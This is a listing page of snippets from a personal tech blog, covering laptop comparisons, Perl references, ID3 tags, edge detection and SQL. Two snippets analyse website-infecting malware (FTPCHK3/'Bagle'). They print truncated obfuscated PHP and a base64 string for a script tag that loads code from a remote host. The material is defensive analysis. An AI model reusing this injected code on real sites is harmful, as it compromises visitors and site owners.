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Compare Sony Vaio vs Macbook White

http://digitalpbk.com/hardware/compare-sony-vaio-cw-vpccw26fg-versus-vs-apple-macbook-white Design FeatureSony Vaio CWMacbook White Size & WeightDimensions (WxHxD) : 341.3 mm x 27.5-38.5 mm x 233.1 mm Weight : 2.4 kg (including the supplied battery) Dimensions (WxHxD): 33.03 cm (13.00 inches) x 2.74 cm (1.08 inches) x 23.17 cm (9.12 inches) Weight : 2.13 kg (4.7 pounds) Looks Keyboard Like all the Apple products the looks of Macbook white is good. Sony Vaio also looks equally good. The keyboard design of both looks very similar. Macbook being 13inch is lighter than ...

PERL Referencing and Dereferencing

http://digitalpbk.blogspot.com/2007/10/perl-referencing-and-dereferencing.html PERL Referencing and Dereferencing IntroPERL - Practical Extraction and Report Language.Referencing a variable means creating a pointer to the variable. Referencing in C is done by the & operator, but in PERL referencing is done by the \(backslash) operator.Check out the following examples to understand better:my $scalar = "http://digitalpbk.blogspot.com";my $scalar_ptr = \$scalar; //Scalar referencemy $array= (1,2,4,3,5);my $array_ptr = \@array; //Array reference//ormy $array ...

The MP3 ID3 Tag

http://digitalpbk.blogspot.com/2007/03/mp3-id3-tag.html The MP3 ID3 Tag Intro: ID3V2? ID3 tags are blocks of data in mp3 that stores information about the song. It can be used to store anything from album names, performing artists, movie/album, genre, to jpg pictures containing the CD covers. ID3V2 is the second version of the ID3 tag on mp3. The following is about the ID3V2 structure.ID3 Tags can be found anywhere in the mp3 file and there is no typical standard for its location. So how do we find it ?ID3 Tags start with the 3 letters ID3 (what ...

FTPCHK3 : Virus that adds malicious scripts to your website.

http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html server programs and/or the anonymous user access being activated in your FTP configuration. What it does?It adds scripts to html, javascript files and adds a unique php script code to the beginning of every php file. It looks like kYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tc..//Truncated..ZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdiMHNyJyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N ...

PHP Code Analysis of Bagle Virus

http://digitalpbk.blogspot.com/2009/10/bagle-virus-analysis-php-code.html )) foreach ($a[0] as $v) if (preg_match ('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i', $v) && !strstr ($v, '?'.'>')) $s = preg_replace ('#'.preg_quote ($v, '#').'.*?#is', '', $s); $s = str_replace ($a = base64_decode ('PHNjcmlwdCBzcmM9aHR0cDovL2dlbXVzLnBsL2RiL2Z0cGNoazMucGhwID48L3NjcmlwdD4='), ...

Edge Detection on Images

http://digitalpbk.blogspot.com/2009/02/edge-detection-images-sobel-prewitt.html Edge Detection on Images IntroThe following images show the result of applying various edge detection algorithms on this image.Original ImagePrewitt-1 -1 -10 0 01 1 1Sobel-1 -2 -10 0 01 2 1Laplacian 1-1 -1 -1-1 8 -1-1 -1 -1Laplacian 20 -1 0-1 4 -10 -1 0Stochastic0.802 0.836 0 -0.836 -0.8020.845 0.897 0 -0.897 -0.8450.870 1.000 0 -1.000 -0.8700.845 0.897 0 -0.897 -0.8450.802 0.836 0 -0.836 -0.802 ...

Happy Birthday Digitalpbk

http://digitalpbk.blogspot.com/2007/11/happy-birthday-anniversary-pbk.html Happy Birthday Digitalpbk 18th November 2007, Internet : Digitalpbk.blogspot.com is entering its one year of enthusiasm. Although digitalpbk started the first post on November 2nd, it started its official statistics(counter) by 18th November. Since it there has been80000+ visitors,80 posts,230 + comments,etc...Thanks everyone 4 visiting my blogthat drives the drivers to make me post more ........:)Keep visiting ...digitalpbk. ...

Select second largest value in a column using SQL

http://digitalpbk.com/interview-questions/select-second-largest-value-column-using-sql Select second largest value in a column using SQL None The answer is pretty simple without jumping over hoops or thinking about taking MAX etc. SELECT value FROM table ORDER BY value DESC LIMIT 1,1 Why LIMIT 1,1 ? Shouldnt it be 2,1 Think again. LIMIT 0,1 is the first record. Interview Questions ...

Acer Aspire 4520 vs Compaq Presario V3000AU : A wifi comparison

http://digitalpbk.blogspot.com/2009/05/compaq-presario-v3000-wifi-problem.html =32 time=3ms TTL=64Reply from 10.0.0.1: bytes=32 time=1ms TTL=64Reply from 10.0.0.1: bytes=32 time=2ms TTL=64Reply from 10.0.0.1: bytes=32 time=1ms TTL=64Reply from 10.0.0.1: bytes=32 time=2ms TTL=64Reply from 10.0.0.1: bytes=32 time=1ms TTL=64Reply from 10.0.0.1: bytes=32 time=2ms TTL=64Ping statistics for 10.0.0.1: Packets: Sent = 100, Received = 100, Lost = 0 (0% loss),Approximate round trip times in milli-seconds: Minimum = 1ms, Maximum = 84ms, Average = 2msThis is the result for Compaq ...

Compare Dell Inspiron Laptop vs Sony Vaio

http://digitalpbk.com/sony-vaio/dell-inspiron-laptop-14r-vs-sony-vaio-vpccw26fg-laptop , but the sony vaio has a less of a boxy look compared to Dell Inspiron. I say the Sony Vaio looks stylish. (Subjective) Technical Specifications Sony Vaio vs Dell Inspiron Feature Sony Vaio CW Dell Inspiron 14R Processor Intel® Core™ i5-520M Processor 2.40 GHz with Turbo Boost up to 2.93 GHz Intel® Core™ i3-370M Processor 2.40 GHz Memory Bus 1066 MHz 1333 MHz (Capped at 1066 Mhz) Cache 3 MB (L3 Cache) Main Memory (RAM) 4 GB ( 2x2GB) Expandable upto 8 GB, DDR3, 2 Slots (SO DIMM) 3 GB (2x1GB+1 ...